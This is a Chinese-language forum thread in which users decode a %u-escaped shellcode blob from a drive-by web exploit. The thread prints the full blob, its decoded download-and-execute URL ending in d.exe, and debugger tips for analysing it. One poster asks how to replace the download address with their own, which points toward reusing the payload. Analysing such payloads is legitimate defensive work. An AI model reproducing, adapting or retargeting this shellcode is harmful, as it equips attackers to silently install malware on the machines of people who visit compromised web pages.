解密后的地址为http://127.0.0.1/test/d.exe
在线解密
http://www.cha88.cn/safe/shellcode.php

谢谢！我要想改这段就是把自己的地址换成code?

我怎么没解密成你那个样子啊，我解密出来又是一串不明白的东西
%u2522%u3975%u3930%u2230%u222b%u7525%u3039%u3039%u2b22%u0d20%u220a%u7525%u3435%u6265%u7525%u3537%u6238%u7525%u6238%u6333%u7525%u3533%u3437%u7525%u3330%u3837%u7525%u3635%u3566%u7525%u3637%u6238%u7525%u3330%u3032%u2022%u0d2b%u220a%u7525%u3333%u3566%u7525%u3934%u3963%u7525%u6461%u3134%u7525%u6264%u3333%u7525%u6630%u3633%u7525%u3431%u6562%u7525%u3833%u3832%u7525%u3437%u3266%u2022%u0d2b%u220a%u7525%u3163%u3830%u7525%u6430%u6263%u7525%u6164%u3330%u7525%u6265%u3034%u7525%u6233%u6665%u7525%u3537%u6664%u7525%u6535%u3765%u7525%u6535%u6238%u2022%u0d2b%u220a%u7525%u3330%u3432%u7525%u3636%u6464%u7525%u6330%u6238%u7525%u6238%u6234%u7525%u6331%u6535%u7525%u6464%u3330%u7525%u3430%u6238%u7525%u3330%u6238%u2022%u0d2b%u220a%u7525%u3363%u3563%u7525%u3237%u3537%u7525%u6436%u6336%u7525%u6536%u6636%u7525%u3436%u6532%u7525%u6336%u6336%u7525%u3334%u3030%u7525%u6335%u6133%u2022%u0d2b%u220a%u7525%u6532%u3535%u7525%u3837%u3536%u7525%u3030%u3536%u7525%u3063%u3333%u7525%u3330%u3436%u7525%u3033%u3034%u7525%u6330%u3837%u7525%u3034%u6238%u2022%u0d2b%u220a%u7525%u6238%u6330%u7525%u6331%u3037%u7525%u6238%u6461%u7525%u3830%u3034%u7525%u3930%u6265%u7525%u3034%u6238%u7525%u6438%u3433%u7525%u6337%u3034%u2022%u0d2b%u220a%u7525%u3034%u6238%u7525%u3539%u6333%u7525%u6538%u6662%u7525%u6530%u6534%u7525%u3865%u6365%u7525%u6666%u3438%u7525%u6666%u6666%u7525%u6365%u3338%u2022%u0d2b%u220a%u7525%u3338%u3430%u7525%u3432%u6332%u7525%u6666%u6333%u7525%u3539%u3064%u7525%u6662%u3035%u7525%u6131%u3633%u7525%u3037%u6632%u7525%u6636%u3865%u2022%u0d2b%u220a%u7525%u6666%u6666%u7525%u6238%u6666%u7525%u3432%u3435%u7525%u6438%u6366%u7525%u6162%u3235%u7525%u6264%u3333%u7525%u3335%u3335%u7525%u6265%u3235%u2022%u0d2b%u220a%u7525%u3335%u3432%u7525%u3064%u6666%u7525%u6662%u6435%u7525%u6566%u3839%u7525%u6530%u6138%u7525%u3335%u3865%u7525%u6666%u6666%u7525%u3338%u6666%u2022%u0d2b%u220a%u7525%u3430%u6365%u7525%u6332%u3338%u7525%u3236%u3432%u7525%u3064%u6666%u7525%u6537%u6662%u7525%u3265%u3864%u7525%u3865%u3337%u7525%u6666%u3034%u2022%u0d2b%u220a%u7525%u6666%u6666%u7525%u6666%u3235%u7525%u3865%u3064%u7525%u6666%u3764%u7525%u6666%u6666%u7525%u3437%u3836%u7525%u3037%u3437%u7525%u6632%u6133%u2022%u0d2b%u220a%u7525%u3133%u6632%u7525%u3733%u3233%u7525%u3033%u6532%u7525%u3033%u6532%u7525%u3133%u6532%u7525%u3437%u6632%u7525%u3337%u3536%u7525%u6632%u3437%u2022%u0d2b%u220a%u7525%u6532%u3436%u7525%u3837%u3536%u7525%u3030%u3536%u0022

老大，你在吗？给我讲，那段网址是怎么解出来的。！
我去了你说的网站只能解成unicode，接下来怎么办啊？

我要是你，我会把前面那两个90(NOP)换成%uCCCC，然后用IE加载，用cdb挂上去看

就是unicode编码嘛
对应16进制 shellcoe : eb 54 8b 75 3c 8b ...........
按这个顺序列出来  看汇编代码  ,一般挂马地址在shellcode末尾.